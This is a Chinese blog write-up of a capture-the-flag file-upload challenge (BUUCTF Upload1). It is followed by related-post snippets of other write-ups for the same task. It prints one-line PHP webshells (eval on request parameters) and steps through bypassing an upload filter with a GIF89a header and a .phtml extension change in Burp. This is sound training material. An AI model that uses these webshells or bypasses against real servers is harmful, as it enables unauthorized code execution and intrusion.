【BUUCTF】[极客大挑战 2019]Upload1

已于 2022-03-14 20:15:39 修改
阅读量917 收藏 2
点赞数 3
分类专栏： 一句话木马 文章标签： p2p 蓝桥杯 网络协议
于 2022-03-13 00:24:26 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/aoao331198/article/details/123451654
版权

试着上传一个一句话木马的.jpg文件

<?php eval($_GET['abc']); ?>

 看样子是不能用php，必须换一种语言

 

仅仅更改文件后缀不能完全绕过，这里使用GIF89a头文件欺骗

GIF89a图片头文件欺骗

 

 上传成功了，接下来我们在BP中上传，截获数据包，并且把 Content-Disposition中的filename更改后缀

phtml

Content-disposition

发送后就可以用蚁剑链接，注意路径/upload/upload.phtml

aoao今晚吃什么
关注
  • 3
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
天池Apache Flink极客挑战赛-垃圾图片分类算法源码+项目说明.zip
01-28
【资源说明】 1、该资源包括项目的全部源码，下载可以直接使用！ 2、本项目适合作为计算机、数学、电子信息等专业的课程设计、期末大作业和毕设项目，作为参考资料学习借鉴。 3、本资源作为“参考资料”如果需要实现其他功能，需要能看懂代码，并且热爱钻研，自行调试。 天池Apache Flink极客挑战赛-垃圾图片分类算法源码+项目说明.zip
[极客大挑战 2019]Upload 1
xixixihan的博客
11-25 734
做题分享
BUUCTF---[极客大挑战 2019]Upload1
最新发布
2201_75556700的博客
03-03 510
2.点开链接，需要上传文件，要求是image，上传文件后缀为jpg的一句话木马，发现被检测到了。4.接下来使用bp抓包修改包的后缀为phtml,5.接下来使用蚁剑链接。3.换另一个木马试试。
极客学院JAVA视频教程 新版 7大部分
08-08
Java语言视频教程 极客学院JAVA视频教程 新版 7大部分
2019年三诺集团四周年庆典极客摇滚跑活动方案.pptx
05-06
2019年三诺集团四周年庆典极客摇滚跑活动方案
极客学院 idea教程 含2017.1版本 PDF及两个视频
11-16
极客学院 idea教程 含最新的2017.1版本 PDF及两个视频
BUUCTF-[极客大挑战 2019]Upload1
Monica的博客
09-14 1850
题目： 分析： 一个文件上传漏洞 上传一个1.php文件内容为：<?php eval($_POST[1]);?> 发现报错。 查看源代码，没有关于过滤的代码，说明是后端进行的过滤。 bp抓包：修改MIME 报错说不能是php文件、绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht 发现只要phtml文件可以使用，修改后缀为phtml phtml一般是指嵌入了php代码的html文件，但是同样也会作为php解析 PHT文件是一个HTM.
BUUCTF——[极客大挑战 2019]Upload 1
weixin_45864041的博客
09-26 1万+
文件上传漏洞，我们先写一句话木马，试着上传。 我们用shell.phtml的文件名直接上传，可以看到有一个前端检查，对文件后缀进行检查。接下来，我们将文件名改成shell.jpg进行上传。 然后又上传失败了，应该是在后端也对我们的文件内容进行了检测。接下来我们试着用文件幻术头的方式进行绕过。 在这里我试了jpg的文件头，但是还是失败了（也不知道为啥） 。最后用gif的文件头成功上传。 说明我们成功绕过了检测然后，我们重新上传，进行抓包，将文件后缀名改成phtml。 上传成功之后，没有给我们具体的存储.
buuctf-web-[极客大挑战 2019]Upload1
mlws1900的博客
08-11 1301
第一个点，修改phtml，第二个点GIF89a（这个点特别的重要，上面我写的代码没有包含），第三个点要用包含。scriptcmd.phtml是我们上传的webshell。我写的webshell里面加了phpinfo();上传的文件夹upload，找到我们上传的文件。bp后缀名修改phtml，加上下面代码。先上传一个无内容的jpg文件。文件里面要加GIF89a。蚁剑连接，获得flag。上传了一个小马代码为。...
buuctf[ACTF2020 新生赛]Upload 1
qq_53175607的博客
12-06 585
1.打开题目，先上传一句话木马试试。 <script language='php'>@eval($_POST['love']);</script> 按照传统方法，现将一句话木马利用windows文件后缀识别的特点，将后缀名改为图片后缀名。 上传，抓包改包！ 改为phtml后缀 上传成功，构架url用蚁剑连接。 http://5081ca11-6534-49bf-8f3b-94c45fc9946e.node4.buuoj.cn:81/uplo4d/38a64fe21fe9be
阿里云IoT极客创新挑战赛.pdf
08-29
高级设计专家 望海 在2018云栖大会·上海峰会中做了题为《阿里云 IoT 极客创新挑战赛》的分享,就极客挑战赛创意来源、赛事的技术平台、赛事进程等方面的内容做了深入的分析。
BUUFCTF—[极客大挑战 2019]Upload 1
yy
05-12 1001
上传图片1.png成功，上传1.php失败，1.pngs成功，说明是黑名单过滤。
(文件上传upload) [极客大挑战 2019]Upload1 和 [ACTF2020新生赛]Upload1
一醉一休的博客
02-23 8484
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录 前言 一、pandas是什么？ 二、使用步骤 1.引入库 2.读入数据 总结 前言 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。 由于程序员在对用户文件上传部分的控制不足或者处理缺陷，而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件。 一、[极客大挑战 2019]Upload1 ...
web buuctf [极客大挑战 2019]Upload1
weixin_44214568的博客
09-04 452
1.随便上传一个东西，我上传的是一个txt文档，提示 "not image"; 2.不是图片格式，那就抓包改消息头 改为 ： 上传后提示“don't lie to me,it's not image at all!" 应该是存在过滤，试试其他的格式： 改成php，提示“not php!” 改成php3，提示"not php3!" 之后又试了一下php4，也是不行， 最后试了一下phtml，提示“don't lie to me,it's not image at all!" 这样发现
[极客大挑战 2019]Upload 1(文件上传)
热门推荐
weixin_45253573的博客
12-08 1万+
打开环境是一个上传图片的页面。 先上传一句话木马试试，这里格式直接不变，先上传看看。 <?php eval($_POST['b'])?> <?php $_GET['a']($_POST['b'])?> 提示说不是图片，需要抓包改文件格式。将Content-Type里面的格式改为image/jpeg 绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht 前几个php格式的一句话都被b了，比如php3 将文件格式改到phtml可以了，但带<?的一句话
buuctf-[极客大挑战 2019]Upload1
m0_62094846的博客
12-07 227
上传php,jpg,png,gif都报错 然后看wp GIF89a? <script language="php">eval($_REQUEST[feng])</script> 用这一串GIF89a伪造gif文件就行 真的上传不了假的上传成功了，就满脸问号 把后缀名改成phtml 因为没告诉文件上传后的位置，就要猜测，做这么多题，一般都是在upload里面 upload+文件名 ...
buuctf [ACTF2020 新生赛]Upload 1
Naptmn的博客
02-24 1168
直接上传一个php的一句话发现无法上传 f12找到前端验证 这里有两个方法 1、直接删除这个元素 2、先上传jpg格式的一句话，bp抓包改为php 发现上传后后端仍然有检查 于是我们上传phtml格式的一句话木马（这里同样需要绕开前端验证） phtml可以理解为是另外一个php的文件后缀名 上传成功后蚁剑连接即可 ...
CTF笔记：BUUCTF-[ACTF新生赛]Upload1
dqx1223的博客
07-09 785
ctf笔记
buuctf 极客大挑战2019php
08-24
buuctf 极客大挑战2019php是指buuctf举办的一个PHP编程比赛，它是基于阿里云IoT技术平台的创新挑战赛。在该比赛中，参赛者需要利用PHP编写代码解决一系列技术难题。这些问题可能涉及到序列化、反序列化、变量值的...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值